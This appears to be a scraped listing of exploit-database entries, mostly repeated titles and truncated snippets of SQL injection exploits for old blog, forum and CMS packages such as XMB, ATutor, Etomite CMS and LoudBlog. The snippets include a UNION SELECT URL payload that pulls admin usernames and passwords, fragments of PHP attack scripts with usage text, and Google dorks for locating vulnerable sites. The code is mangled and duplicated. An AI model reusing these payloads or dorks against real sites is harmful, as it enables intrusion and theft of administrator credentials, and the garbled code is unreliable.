Spidey Blog Script <= 1.5 (tr) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ================================================================= Spidey Blog Script = 1.5 tr Remote SQL Injection Vulnerability ================================================================= Spidey Blog Script == 1.5 tr SQL Injection...

[SA21397] YenerTurk Haber Script &quot;id&quot; SQL Injection Vulnerability

YenerTurk Haber Script v1.0 SQL Injection Vulnebrality Credit:ASIANEAGLE Contact:[email protected] Exploit: Admin Nick: http://SITE/Path to YenerTurk/default.asp?x=2&kategori=11&id=-120union20select200,kullaniciadi,2,3,4,5,6,7,820from20admin20where20id20like201 Admin pass: http://SITE/Path to...

myBloggie <= 2.1.4 (trackback.php) Multiple SQL Injections Exploit

Exploit for unknown platform in category web applications ================================================================== myBloggie = 4.1 allowing subs / if $argctrackbackreply1, "Sorry, Trackback failed.. Reason : No title"; if!empty$REQUEST'url'...

XMB 1.9.6 - mqoff u2uid SQL Injection

XMB 1.9.6 - mqoff u2uid SQL Injection !/usr/bin/php -q -d shortopentag=on = 4.1 allowing subs / if $argc5 echo "Usage: php ".$argv0." host path username password OPTIONS\n"; echo "host: target server ip/hostname\n"; echo "path: path to XMB \n"; echo "user/pass: you need a valid user account\n";...

XMB <= 1.9.6 (u2uid) Remote SQL Injection Exploit (mq=off)

Exploit for unknown platform in category web applications ========================================================== XMB = 4.1 allowing subs / if $argc5 echo "Usage: php ".$argv0." host path username password OPTIONS\n"; echo "host: target server ip/hostname\n"; echo "path: path to XMB \n"; echo...

XMB &lt;= 1.9.6 (u2uid) Remote SQL Injection Exploit (mq=off)

No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "XMB = 1.9.6 'u2uid' SQL injection / admin credentials disclosure\n"; echo "by rgod [email protected]\n"; echo "site: http://retrogod.altervista.org\n"; echo "dork: "Powered by XMB"\n\n"; / works with magicquotes=off...

XMB 1.9.6 - 'mq=off' 'u2uid' SQL Injection

!/usr/bin/php -q -d shortopentag=on = 4.1 allowing subs / if $argc5 echo "Usage: php ".$argv0." host path username password OPTIONS\n"; echo "host: target server ip/hostname\n"; echo "path: path to XMB \n"; echo "user/pass: you need a valid user account\n"; echo "Options:\n"; echo " -Tprefix...

ATutor 1.5.3.1 - 'links' Blind SQL Injection

!/usr/bin/php -q -d shortopentag=on = 4.1 allowing SELECT subqueries for ORDER BY statements see http://dev.mysql.com/doc/refman/5.0/en/subqueries.html - with at least 2 links in atlinks table / if $argc5 echo "Usage: php ".$argv0." host path user pass OPTIONS\r\n"; echo "host: target server...

ATutor <= 1.5.3.1 (links) Remote Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================ ATutor = 4.1 allowing SELECT subqueries for ORDER BY statements see http://dev.mysql.com/doc/refman/5.0/en/subqueries.html - with at least 2 links in atlinks table / if $argc5 ec...

ATutor 1.5.3.1 - links Blind SQL Injection

ATutor 1.5.3.1 - links Blind SQL Injection !/usr/bin/php -q -d shortopentag=on = 4.1 allowing SELECT subqueries for ORDER BY statements see http://dev.mysql.com/doc/refman/5.0/en/subqueries.html - with at least 2 links in atlinks table / if $argc5 echo "Usage: php ".$argv0." host path user pass...

etomiteCMS-061-SQL.txt

!/usr/bin/php -q -d shortopentag=on ? echo "Etomite CMS = 0.6.1 all patches applied 'username' SQL injection / admin credentials disclosure\r\n"; echo "by rgod [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n"; echo "google dork: "Content managed by the Etomite Content...

Etomite CMS 0.6.1 - 'Username' SQL Injection (mq = off)

!/usr/bin/php -q -d shortopentag=on ? echo "Etomite CMS = 0.6.1 all patches applied 'username' SQL injection / admin credentials disclosure\r\n"; echo "by rgod [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n"; echo "google dork: "Content managed by the Etomite Content...

Etomite CMS 0.6.1 - Username SQL Injection (mq off)

Etomite CMS 0.6.1 - Username SQL Injection mq off !/usr/bin/php -q -d shortopentag=on ? echo "Etomite CMS = 0.6.1 all patches applied 'username' SQL injection / admin credentials disclosure\r\n"; echo "by rgod [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n"; echo "google...

Etomite CMS <= 0.6.1 (username) SQL Injection Exploit (mq = off)

Exploit for unknown platform in category web applications ================================================================ Etomite CMS = 0.6.1 username SQL Injection Exploit mq = off ================================================================ !/usr/bin/php -q -d shortopentag=on ? echo "Etomi...

loudblog_05_sql.txt

!/usr/bin/php -q -d shortopentag=on 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15 $cont=0; $result.="\r\n"; $exa.="\r\n"; return $exa."\r\n".$result; $proxyregex =...

X7 Chat 2.0.4 - 'old_prefix' Blind SQL Injection

!/usr/bin/php -q -d shortopentag=on 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $ex...

LoudBlog 0.5 - SQL Injection Admin Credentials Disclosure

LoudBlog 0.5 - SQL Injection Admin Credentials Disclosure !/usr/bin/php -q -d shortopentag=on 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15 $cont=0; $result.="\r\n"; $exa.="\r\n...

LoudBlog <= 0.5 (id) SQL Injection / Admin Credentials Disclosure

Exploit for unknown platform in category web applications ================================================================= LoudBlog 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; els...

LoudBlog &lt;= 0.5 (id) SQL Injection / Admin Credentials Disclosure

No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "LoudBlog = 0.5 'id' SQL injection / admin credentials disclosure\r\n"; echo "by rgod [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n"; echo "a dork: "Powered by LoudBlog"\r\n\r\n"; / works...

LoudBlog 0.5 - SQL Injection / Admin Credentials Disclosure

!/usr/bin/php -q -d shortopentag=on 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15 $cont=0; $result.="\r\n"; $exa.="\r\n"; return $exa."\r\n".$result; $proxyregex =...